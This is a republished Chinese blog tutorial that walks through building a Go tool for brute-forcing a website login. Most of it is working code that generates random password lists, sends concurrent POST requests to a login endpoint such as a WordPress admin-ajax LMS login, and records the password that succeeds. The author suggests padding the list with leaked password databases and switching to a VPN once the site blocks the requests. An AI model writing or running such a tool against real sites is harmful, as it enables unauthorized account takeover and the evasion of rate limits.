七爪源码:如何使用Go进行暴力破解(Golang)

原标题:七爪源码:如何使用 Go 进行暴力破解(Golang)

几周前,我在一家教育科技初创公司担任 CTO 职位。 他们让我找出他们系统中的缺陷。 我从最简单的事情开始:身份验证。 我注意到他们的网站上没有登录尝试限制器。 然后我检查了 Chrome 开发工具中的网络选项卡(F12 > 网络选项卡),请求、端点和响应都在那里。 通过端点和请求格式,我认为我可以构建某种自动化的试错登录尝试。

所以我用 Go 构建了它。 我从未构建过任何蛮力应用程序,但从最初的原则来看,我认为我需要构建:

  • 符合密码规则的密码组合(最小长度为 8,必须包含大写和数字等)
  • POST 请求应用程序到登录端点,并检查状态响应(成功或错误)
  • 跟踪系统,因此我可以暂停蛮力并稍后继续(我使用的是纯 txt 文件)

然后我启动了项目文件夹并 go mod init project_name

mkdir go-bruteforce
cd go-bruteforce
go mod init go-bruteforce

我想先生成密码组合列表,所以我创建了一个方法来生成将用于密码尝试的 try.txt 文件。 我构建 try.txt 的原因是因为我不想依赖内存来存储所有可能的密码,我可以使用泄露的密码数据库或其他列表(如最差密码列表 2021)手动添加密码组合 .

所以我创建了一个帮助程序包和 helper.go 来编写随机密码组合并将其写入.txt文件。

package helper
import (
“log”
“math/rand”
“os”
)
func RandStringRunes(n int) string {
var letterRunes = []rune(“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”)
b := make([]rune, n)
for i := range b {
b[i] = letterRunes[rand.Intn(len(letterRunes))]
}
return string(b)
}
func WriteOrAppendFile(filename string, pw string) error {
f, err := os.OpenFile(filename,
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer f.Close()
if _, err := f.WriteString(pw + “\n”); err != nil {
log.Println(err)
}
return nil
}

您可以修改 []rune(“…”) 第 10 行内的字符串以适合您的密码规则。 我使用 abcdefghijklmnopqrstuvwxyzABCDEFG… 因为我的目标身份验证需要大写、小写和数值。

您可以通过在 main.go 中运行此代码来生成try.txt文件

for i := 0; i < 1000; i++ {
s := helper.RandStringRunes(11)
helper.WriteOrAppendFile(“try.txt”, s)
}

我们正在从我们的代码中生成 1000 个密码组合。 您可以根据自己的猜测或泄露的密码数据库在 try.txt 中添加更多内容。

现在我们的根文件夹中有try.txt文件。 我们将替换 main.go,以便我们可以使用 try.txt 中的所有密码向 URL 发出 POST 请求以尝试暴力破解。

package main
import (
“bytes”
“encoding/json”
“fmt”
“io/ioutil”
“log”
“net/http”
“os”
“strings”
“sync”
“github.com/febriliankr/sejawatidn-security/helper”
“github.com/joho/godotenv”
)
type RequestBody struct {
UserLogin string `json:”user_login”`
UserPassword string `json:”user_password”`
}
type Handler struct {
url string
BodyData RequestBody
}
func main() {
godotenv.Load()
url := os.Getenv(“URL”)
username := os.Getenv(“USERNAME”)
reqBody := RequestBody{
UserLogin: username,
}
h := Handler{
url: url,
BodyData: reqBody,
}
content, err := ioutil.ReadFile(“try.txt”)
if err != nil {
log.Println(err)
}
pwLines := strings.Split(string(content), “\n”)
_, err = h.AsyncHTTP(pwLines)
if err != nil {
log.Println(err)
}
}
func (h Handler) TryPassword(pws []string) error {
for _, pw := range pws {
h.BodyData.UserPassword = pw
j, err := json.Marshal(h.BodyData)
if err != nil {
log.Println(“error marshaling body:”, err.Error())
}
req, _ := http.NewRequest(“POST”, h.url, bytes.NewBuffer(j))
req.Header.Set(“X-Custom-Header”, “myvalue”)
req.Header.Set(“Content-Type”, “application/json”)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
continue
}
defer resp.Body.Close()
var result map[string]interface{}
body, _ := ioutil.ReadAll(resp.Body)
_ = json.Unmarshal([]byte(body), &result)
if result[“status”] == “success” {
fmt.Println(“Correct password ✅:”, pw)
_ = os.WriteFile(“correct_password.txt”, []byte(pw), 0644)
continue
} else {
fmt.Println(“Wrong password ❌:”, pw)
_ = helper.WriteOrAppendFile(“wrong_password.txt”, pw)
continue
}
}
return nil
}
func (h Handler) AsyncHTTP(pws []string) ([]string, error) {
ch := make(chan string)
var responses []string
var wg sync.WaitGroup
for _, pw := range pws {
wg.Add(1)
go h.sendUser(pw, ch, &wg)
}
// close the channel in the background
go func() {
wg.Wait()
close(ch)
}()
// read from channel as they come in until its closed
for res := range ch {
responses = append(responses, res)
}
return responses, nil
}
func (h Handler) sendUser(pw string, ch chan<- string, wg *sync.WaitGroup) {
defer wg.Done()
h.BodyData.UserPassword = pw
j, _ := json.Marshal(h.BodyData)
req, _ := http.NewRequest(“POST”, h.url, bytes.NewBuffer(j))
req.Header.Set(“X-Custom-Header”, “myvalue”)
req.Header.Set(“Content-Type”, “application/json”)
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
ch <- “error”
return
}
defer resp.Body.Close()
var result map[string]interface{}
body, _ := ioutil.ReadAll(resp.Body)
_ = json.Unmarshal([]byte(body), &result)
if result[“status”] == “success” {
fmt.Println(“Correct password ✅:”, pw)
_ = os.WriteFile(“correct_password.txt”, []byte(pw), 0644)
} else {
fmt.Println(“Wrong password ❌:”, pw)
_ = helper.WriteOrAppendFile(“wrong_password.txt”, pw)
}
ch <- string(body)
}

使用尝试的用户名和 url 端点在根目录中创建一个 .env 文件。 这是 .env 文件的示例。

USERNAME=febriliankr
URL=https://endpoint.com/wp-admin/admin-ajax.php?action=stm_lms_login&nonce=912c7b85e4

如果密码正确,我们会将其写入correct_password.txt,所有错误的密码都会在error_password.txt文件中。 这也是控制台中记录的内容。

如果您被 API 阻止,请尝试使用 VPN。 如果它仍然无法正常工作,那么很好,这意味着该网站可以免受简单的暴力攻击。返回搜狐,查看更多

责任编辑:

原创文章 七爪源码:如何使用Go进行暴力破解(Golang),版权所有
如若转载,请注明出处:https://www.itxiaozhan.cn/202210237.html

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注